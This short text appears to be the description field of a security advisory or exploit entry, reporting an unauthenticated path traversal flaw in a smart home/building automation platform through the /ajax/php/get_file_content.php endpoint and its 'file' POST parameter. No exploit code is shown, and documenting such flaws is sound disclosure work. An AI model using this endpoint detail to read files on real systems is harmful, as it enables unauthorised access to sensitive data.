    Desc: An unauthenticated absolute and relative path traversal vulnerability exists
    in the smart home/building automation platform via the /ajax/php/get_file_content.php
    endpoint. By supplying a crafted 'file' POST parameter, a remote attacker can
    read arbitrary files from the server's file system, resulting in sensitive
    information disclosure.
